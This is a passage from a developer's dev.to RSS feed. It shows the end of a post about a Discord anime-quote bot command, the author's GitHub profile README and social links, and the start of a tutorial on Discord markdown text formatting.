&lt;span class="pl-k"&gt;const&lt;/span&gt; &lt;span class="pl-kos"&gt;{&lt;/span&gt; searchAnime &lt;span class="pl-kos"&gt;}&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; &lt;span class="pl-en"&gt;require&lt;/span&gt;&lt;span class="pl-kos"&gt;(&lt;/span&gt;&lt;span class="pl-s"&gt;'node-kitsu'&lt;/span&gt;&lt;span class="pl-kos"&gt;)&lt;/span&gt;&lt;span class="pl-kos"&gt;;&lt;/span&gt; &lt;span class="pl-c"&gt;// credits to the person who made node-kitsu!!&lt;/span&gt;
&lt;span class="pl-smi"&gt;module&lt;/span&gt;&lt;span class="pl-kos"&gt;.&lt;/span&gt;&lt;span class="pl-c1"&gt;exports&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; &lt;span class="pl-kos"&gt;{&lt;/span&gt;
  &lt;span class="pl-c1"&gt;name&lt;/span&gt;: &lt;span class="pl-s"&gt;"aniquote"&lt;/span&gt;&lt;span class="pl-kos"&gt;,&lt;/span&gt;
&lt;span class="pl-en"&gt;run&lt;/span&gt;: &lt;span class="pl-k"&gt;async&lt;/span&gt; &lt;span class="pl-kos"&gt;(&lt;/span&gt; &lt;span class="pl-s1"&gt;client&lt;/span&gt;&lt;span class="pl-kos"&gt;,&lt;/span&gt; &lt;span class="pl-s1"&gt;message&lt;/span&gt;&lt;span class="pl-kos"&gt;)&lt;/span&gt; &lt;span class="pl-c1"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="pl-kos"&gt;{&lt;/span&gt;
    &lt;span class="pl-k"&gt;const&lt;/span&gt; &lt;span class="pl-kos"&gt;{&lt;/span&gt; quote&lt;span class="pl-kos"&gt;,&lt;/span&gt; anime&lt;span class="pl-kos"&gt;,&lt;/span&gt; id&lt;span class="pl-kos"&gt;,&lt;/span&gt; name &lt;span class="pl-kos"&gt;}&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; &lt;span class="pl-en"&gt;randomQuote&lt;/span&gt;&lt;span class="pl-kos"&gt;(&lt;/span&gt;&lt;span class="pl-kos"&gt;)&lt;/span&gt;&lt;span class="pl-kos"&gt;;&lt;/span&gt;

    &lt;span class="pl-k"&gt;const&lt;/span&gt; &lt;span class="pl-s1"&gt;res&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; &lt;span class="pl-k"&gt;await&lt;/span&gt; &lt;span class="pl-en"&gt;searchAnime&lt;/span&gt;&lt;span class="pl-kos"&gt;(&lt;/span&gt;&lt;span class="pl-s1"&gt;anime&lt;/span&gt;&lt;span class="pl-kos"&gt;,&lt;/span&gt;&lt;span class="pl-c1"&gt;0&lt;/span&gt;&lt;span class="pl-kos"&gt;)&lt;/span&gt;&lt;span class="pl-kos"&gt;.&lt;/span&gt;&lt;span class="pl-en"&gt;catch&lt;/span&gt;&lt;span class="pl-kos"&gt;(&lt;/span&gt;&lt;span class="pl-kos"&gt;(&lt;/span&gt;&lt;span class="pl-kos"&gt;)&lt;/span&gt;&lt;span class="pl-c1"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="pl-kos"&gt;{&lt;/span&gt;&lt;span class="pl-kos"&gt;}&lt;/span&gt;&lt;span class="pl-kos"&gt;)&lt;/span&gt; &lt;span class="pl-c1"&gt;||&lt;/span&gt; &lt;span class="pl-kos"&gt;[&lt;/span&gt;&lt;span class="pl-kos"&gt;]&lt;/span&gt;&lt;span class="pl-kos"&gt;;&lt;/span&gt;

    &lt;span class="pl-k"&gt;const&lt;/span&gt; &lt;span class="pl-s1"&gt;image&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; &lt;span class="pl-s1"&gt;res&lt;/span&gt;&lt;span class="pl-kos"&gt;?.&lt;/span&gt;&lt;span class="pl-kos"&gt;[&lt;/span&gt;&lt;span class="pl-c1"&gt;0&lt;/span&gt;&lt;span class="pl-kos"&gt;]&lt;/span&gt;&lt;span class="pl-kos"&gt;?.&lt;/span&gt;&lt;span class="pl-c1"&gt;attributes&lt;/span&gt;&lt;span class="pl-kos"&gt;?.&lt;/span&gt;&lt;span class="pl-c1"&gt;coverImage&lt;/span&gt;&lt;span class="pl-kos"&gt;?.&lt;/span&gt;&lt;span class="pl-c1"&gt;original&lt;/span&gt; &lt;span class="pl-c1"&gt;||&lt;/span&gt; &lt;span class="pl-c1"&gt;null&lt;/span&gt;&lt;span class="pl-kos"&gt;;&lt;/span&gt;

    &lt;span class="pl-k"&gt;return&lt;/span&gt; &lt;span class="pl-s1"&gt;message&lt;/span&gt;&lt;span class="pl-kos"&gt;.&lt;/span&gt;&lt;span class="pl-c1"&gt;channel&lt;/span&gt;&lt;span class="pl-kos"&gt;.&lt;/span&gt;&lt;span class="pl-en"&gt;send&lt;/span&gt;&lt;span class="pl-kos"&gt;(&lt;/span&gt;
      &lt;span class="pl-k"&gt;new&lt;/span&gt; &lt;span class="pl-v"&gt;MessageEmbed&lt;/span&gt;&lt;span class="pl-kos"&gt;(&lt;/span&gt;&lt;span class="pl-kos"&gt;)&lt;/span&gt;&lt;/pre&gt;…
&lt;/div&gt;
&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/Yuma-Tsushima07/aniquotes"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;Thanks for reading. Please give me some credit bellow &amp;lt;3&lt;/p&gt;

&lt;h2&gt;
  
  
  Credits
&lt;/h2&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--i3JOwpme--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev.to/assets/github-logo-ba8488d21cd8ee1fee097b8410db9deaa41d0ca30b004c0c63de0a479114156f.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/Yuma-Tsushima07"&gt;
        Yuma-Tsushima07
      &lt;/a&gt; / &lt;a href="https://github.com/Yuma-Tsushima07/Yuma-Tsushima07"&gt;
        Yuma-Tsushima07
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      Readme file
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;
      &lt;h1&gt;
Welcome to Yuma-Tsushima's Github page!&lt;/h1&gt;
  &lt;p&gt;
  &lt;b&gt;Visitor count &lt;/b&gt;&lt;br&gt;
  &lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/57a70d5f50ac5d203e9b6bd912fc9e4b01c8d40c215b656821b455d1f18f928f/68747470733a2f2f70726f66696c652d636f756e7465722e676c697463682e6d652f59756d612d5473757368696d6130372f636f756e742e737667"&gt;&lt;img src="https://camo.githubusercontent.com/57a70d5f50ac5d203e9b6bd912fc9e4b01c8d40c215b656821b455d1f18f928f/68747470733a2f2f70726f66696c652d636f756e7465722e676c697463682e6d652f59756d612d5473757368696d6130372f636f756e742e737667"&gt;&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.patreon.com/Order_of_the_Black_Knights_C2_bot" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/6a6769e2d2eb0567975317a589549beaa5db99df73ce9d6f5f9004ec12eee28e/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f537570706f72742d42757925323075732532306125323050697a7a612d6f72616e67652e7376673f7374796c653d666f722d7468652d6261646765266c6f676f3d70617472656f6e" alt="Support"&gt;&lt;/a&gt;
&lt;a href="https://disboard.org/server/711260885531885648" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/018986f113096a2680c8fa03f313cdf0b8adf24be6d7b9df04b81f14e7897680/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f43322773253230506c6163652d4a6f696e2532307573253230666f7225323061253230636861742d626c75652e7376673f7374796c653d666f722d7468652d6261646765266c6f676f3d646973636f7264" alt="Discord"&gt;&lt;/a&gt;
&lt;a href="https://discord.gg/mNAWykv67W" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/b3b2ffae6fa2d5de61341af99a4e69ce1546047acebcb5039aa106a8411b2209/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f4a6f696e253230746f253230636861742d4379626572417274427974652d626c75652e7376673f7374796c653d666f722d7468652d6261646765266c6f676f3d646973636f7264" alt="Discord"&gt;&lt;/a&gt;
&lt;a href="https://soundcloud.com/0c7av3h4ck5" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/b8ae02d15a55c4261d919a7dd81f80335cf71d017eb6b737cc32698877f322f9/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f536f756e642d436c6f75642d7265642e7376673f7374796c653d666f722d7468652d6261646765266c6f676f3d736f756e64636c6f7564" alt="SoundCloud"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a rel="noopener noreferrer" href="https://github.com/Yuma-Tsushima07/Yuma-Tsushima07/blob/main/assets/terminalpython.png"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--30kNr2f4--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://github.com/Yuma-Tsushima07/Yuma-Tsushima07/raw/main/assets/terminalpython.png"&gt;&lt;/a&gt;&lt;/p&gt;

      &lt;h3&gt;
About Myself&lt;/h3&gt;
      &lt;p&gt;Hello, my name is Yuma-Tsushima (frequently shortened to Yuma). I am an ambitious coder, and I enjoy coding in JavaScript (mainly). I also love making websites using HTML, CSS and (of course) JS! I started programming (self taught) at the age of 13. Originally, I came from the creative field ; I draw/sing/animate/make music.  &lt;/p&gt;
   

&lt;h3&gt;
Talents and Hobbies&lt;/h3&gt;
&lt;p&gt;I love drawing (I have been drawing all of my life). I play strategy games, I code and I do CTFs! I am also good at animation, making AMVs and image editing. My favourite game is Mindustry, followed by Flow Free and Sudoku. I love watching anime (I love Code Geass - I relate to Lelouch a lot) and I aspire to create my own anime!&lt;/p&gt;
&lt;p&gt;&lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/2ee6b04a74d2e5f3c133f042cf9a4c517c12de84f3b843a716694fc09474e417/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d253233653334633236266d6573736167653d44726177696e67253230253743253230412a"&gt;&lt;img src="https://camo.githubusercontent.com/2ee6b04a74d2e5f3c133f042cf9a4c517c12de84f3b843a716694fc09474e417/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d253233653334633236266d6573736167653d44726177696e67253230253743253230412a" alt="Drawing"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/9107ed8d09376ce206e2398fd0513fae0bb422cf18f2c863fdeb4cff1da69c42/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d253233353633643763266d6573736167653d4d7573696325323025374325323042"&gt;&lt;img src="https://camo.githubusercontent.com/9107ed8d09376ce206e2398fd0513fae0bb422cf18f2c863fdeb4cff1da69c42/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d253233353633643763266d6573736167653d4d7573696325323025374325323042" alt="Music"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/0f8e7c7e97a090de494030cec5e9c53271971a05cc99cc1877be133211103b2f/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d253233326237343839266d6573736167653d4469676974616c253230417274776f726b253230253743253230383025"&gt;&lt;img src="https://camo.githubusercontent.com/0f8e7c7e97a090de494030cec5e9c53271971a05cc99cc1877be133211103b2f/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d253233326237343839266d6573736167653d4469676974616c253230417274776f726b253230253743253230383025" alt="Digital Artwork"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/e00451d5e1f51b60407fef6ea1383867d43e4520e2ba2b9e90a10defea549d16/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d363841303633266d6573736167653d49435425323025374325323041"&gt;&lt;img src="https://camo.githubusercontent.com/e00451d5e1f51b60407fef6ea1383867d43e4520e2ba2b9e90a10defea549d16/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d363841303633266d6573736167653d49435425323025374325323041" alt="ICT"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/06f4f740a9fa9a5b4bc25b358d6e98df500cccd4f936b4a8bb020ce509b12e23/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d363144424642266d6573736167653d456c656374726f6e69637325323025374325323041"&gt;&lt;img src="https://camo.githubusercontent.com/06f4f740a9fa9a5b4bc25b358d6e98df500cccd4f936b4a8bb020ce509b12e23/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d363144424642266d6573736167653d456c656374726f6e69637325323025374325323041" alt="Electronics"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/f4a546b3fe39d4cfad9b832e36d1383b539c29e2876293b13466c3cfd6881a68/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d333036393938266d6573736167653d44657369676e73253230253743253230383525"&gt;&lt;img src="https://camo.githubusercontent.com/f4a546b3fe39d4cfad9b832e36d1383b539c29e2876293b13466c3cfd6881a68/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d333036393938266d6573736167653d44657369676e73253230253743253230383525" alt="Desgins"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/8e0c219dec1ad0f1a1e6567edcbd25c8df8afddc0952dcd3f4e328f7d2074d65/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d363032433530266d6573736167653d576562253230446576656c6f706d656e74253230253743253230383025"&gt;&lt;img src="https://camo.githubusercontent.com/8e0c219dec1ad0f1a1e6567edcbd25c8df8afddc0952dcd3f4e328f7d2074d65/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d363032433530266d6573736167653d576562253230446576656c6f706d656e74253230253743253230383025" alt="Web dev"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/307207f36ded5f349f64978e2c8c68c08cd2f1474639832722a0ff0eff976491/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d373634616263266d6573736167653d5374726174656779253230253743253230393525"&gt;&lt;img src="https://camo.githubusercontent.com/307207f36ded5f349f64978e2c8c68c08cd2f1474639832722a0ff0eff976491/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d373634616263266d6573736167653d5374726174656779253230253743253230393525" alt="Strategy"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt; Check out my work!: &lt;/b&gt; &lt;br&gt;
❯ Soundcloud : &lt;a href="https://soundcloud.com/0c7av3h4ck5" rel="nofollow"&gt;0c7av3h4ck5&lt;/a&gt; &lt;br&gt;
❯ Discord : &lt;a href="https://discord.gg/mNAWykv67W" rel="nofollow"&gt;{CyberArtByte}&lt;/a&gt;  &lt;br&gt;
❯ Artwork : &lt;a href="https://medibang.com/u/AcceleratorArts07/" rel="nofollow"&gt;AcceleratorArts07&lt;/a&gt; &lt;br&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Recent Medium&lt;/b&gt;…&lt;/p&gt;
&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/Yuma-Tsushima07/Yuma-Tsushima07"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;


&lt;h3&gt;
  
  
  Follow me!
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Github: &lt;a href="https://github.com/Yuma-Tsushima07"&gt;https://github.com/Yuma-Tsushima07&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Medium: &lt;a href="https://0xv37r1x3r.medium.com/"&gt;https://0xv37r1x3r.medium.com/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;SoundCloud: &lt;a href="https://soundcloud.com/0c7av3h4ck5"&gt;https://soundcloud.com/0c7av3h4ck5&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Discord Servers!!
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Bounty Hunters&lt;/strong&gt;: An amazing bug hunting community full of developers and exploiters!!!&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Link: &lt;a href="https://discord.gg/J5PsgKqdWq"&gt;https://discord.gg/J5PsgKqdWq&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;CyberArtByte&lt;/strong&gt;: My server full of bling and joy!!&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Link: &lt;a href="https://discord.com/invite/mNAWykv67W"&gt;https://discord.com/invite/mNAWykv67W&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  New Soundcloud Track!!
&lt;/h3&gt;

&lt;p&gt;&lt;iframe width="100%" height="166" src="https://w.soundcloud.com/player/?url=https://soundcloud.com/0c7av3h4ck5/hack-with-your-heart-0c7av3h4ck5&amp;amp;auto_play=false&amp;amp;color=%23000000&amp;amp;hide_related=false&amp;amp;show_comments=true&amp;amp;show_user=true&amp;amp;show_reposts=false&amp;amp;show_teaser=true"&gt;
&lt;/iframe&gt;
&lt;/p&gt;

&lt;p&gt;Author: Yuma-Tsushima&lt;/p&gt;

</description>
      <category>javascript</category>
      <category>node</category>
      <category>showdev</category>
      <category>npm</category>
    </item>
    <item>
      <title>[Markdown] How you do you use markdown text on Discord?</title>
      <dc:creator>Yuma-Tsushima </dc:creator>
      <pubDate>Sun, 27 Jun 2021 19:51:57 +0000</pubDate>
      <link>https://dev.to/yumatsushima07/markdown-how-do-use-markdown-text-on-discord-24mg</link>
      <guid>https://dev.to/yumatsushima07/markdown-how-do-use-markdown-text-on-discord-24mg</guid>
      <description>&lt;p&gt;You want to be cool on Discord and show of your friends with the ability to use the one and only Markdown text.&lt;br&gt;
Discord uses Markdown, a simple plain text formatting system that'll help you &lt;strong&gt;make your sentences stand out&lt;/strong&gt;. Here's how to do it! Just add a few characters before &amp;amp; after your desired text to change your text! I'll show you some examples...&lt;/p&gt;
&lt;h2&gt;
  
  
  Text Styles
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;*Italics*&lt;/code&gt; --&amp;gt;    *italics* &lt;strong&gt;or&lt;/strong&gt; _italics_&lt;/p&gt;

&lt;p&gt;&lt;code&gt;__*Underline italics*__&lt;/code&gt; --&amp;gt;  _&lt;em&gt;*underline italics*&lt;/em&gt;_&lt;/p&gt;

&lt;p&gt;&lt;code&gt;**Bold**&lt;/code&gt; --&amp;gt; **bold**&lt;/p&gt;

&lt;p&gt;&lt;code&gt;__**Underline bold**__&lt;/code&gt; --&amp;gt;   _&lt;em&gt;**underline bold**&lt;/em&gt;_&lt;/p&gt;

&lt;p&gt;&lt;code&gt;***Bold Italics***&lt;/code&gt; --&amp;gt;   ***bold italics***&lt;/p&gt;

&lt;p&gt;&lt;code&gt;__***underline bold italics***__&lt;/code&gt; --&amp;gt; _&lt;em&gt;***underline bold italics***&lt;/em&gt;_&lt;/p&gt;

&lt;p&gt;&lt;code&gt;__Underline__&lt;/code&gt;     --&amp;gt; __underline__    &lt;/p&gt;

&lt;p&gt;&lt;code&gt;~~Strikethrough~~&lt;/code&gt; --&amp;gt;     ~~Strikethrough~~&lt;/p&gt;

&lt;p&gt;Don't want to use markdown? You can slap a backslash in front of your statement, or put your message in a code block, and it'll escape the markdown formatting. You'll see those asterisks as you'd like! Just keep in mind, it doesn't work in messages with edits or underscores.&lt;/p&gt;
&lt;h2&gt;
  
  
  Block Quotes
&lt;/h2&gt;

&lt;p&gt;The syntax to use Block Quotes is &lt;code&gt;&amp;gt;&lt;/code&gt; or &lt;code&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/code&gt; followed by a space.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&amp;gt;&lt;/strong&gt; at the beginning of a line of text, creates a single-line block quote.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--RhykUUPT--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/j6t8asuuhb5ag0dp28ek.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--RhykUUPT--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/j6t8asuuhb5ag0dp28ek.png" alt="block quotes" width="733" height="243"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/strong&gt; at the beginning of a line of text, creates a multi-line block quote. All text from &lt;code&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/code&gt; until the end of the message will be included in the quote.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--ZCt7xYxw--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/80716a4y15o9ifudl51j.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--ZCt7xYxw--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/80716a4y15o9ifudl51j.png" alt="multi block quotes" width="427" height="293"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Code Blocks
&lt;/h2&gt;

&lt;p&gt;Discord also supports code blocks as well.  You can make your own code blocks by wrapping your text in backticks (`)&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--4TGqBSBb--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/6v0mo79br4l0dfkxl8q2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--4TGqBSBb--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/6v0mo79br4l0dfkxl8q2.png" alt="one line code blocks" width="736" height="165"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;You can also use three backticks (`&lt;code&gt;\&lt;/code&gt;) to create multiline code blocks.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--1MhdU6FD--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/dtr53st2bkycgl1ah2gf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--1MhdU6FD--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/dtr53st2bkycgl1ah2gf.png" alt="multiline code blocks" width="880" height="217"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Syntax Highlighting
&lt;/h2&gt;

&lt;p&gt;If you really want to spruce up your code blocks, you can denote a specific language for &lt;strong&gt;syntax highlighting&lt;/strong&gt;, by typing the name of the language you want the code block to expect right after the first three backticks beginning your code block. An example...&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--Cp7_L2DZ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/0sxn58ep016ufs7qri40.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--Cp7_L2DZ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/0sxn58ep016ufs7qri40.png" alt="Alt Text" width="880" height="686"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;There are many different languages in place of Markdown that Discord's syntax highlighting support. Each different language has its own approach to highlight-able syntax. For a full list: &lt;a href="https://highlightjs.org/static/demo/"&gt;https://highlightjs.org/static/demo/&lt;/a&gt;. Note that you won't be able to view syntax highlighting on the mobile app.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CSS&lt;/strong&gt;&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--Cp7_L2DZ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/0sxn58ep016ufs7qri40.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--Cp7_L2DZ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/0sxn58ep016ufs7qri40.png" alt="css" width="880" height="686"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;HTML&lt;/strong&gt;&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--KJUPYDbU--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/d02c0gc0g1p7kon1zdw8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--KJUPYDbU--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/d02c0gc0g1p7kon1zdw8.png" alt="html" width="880" height="702"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Bash (bash)&lt;/strong&gt;&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--NKpK3iMz--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/vgygi2q0fe7uhzrk1hoe.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--NKpK3iMz--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/vgygi2q0fe7uhzrk1hoe.png" alt="bash" width="880" height="793"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;C++ (cpp)&lt;/strong&gt;&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--bcOr_aJH--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/9aqv0674wskjc40p9wux.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--bcOr_aJH--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/9aqv0674wskjc40p9wux.png" alt="cpp" width="880" height="783"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;C# (cs)&lt;/strong&gt;&lt;br&gt;
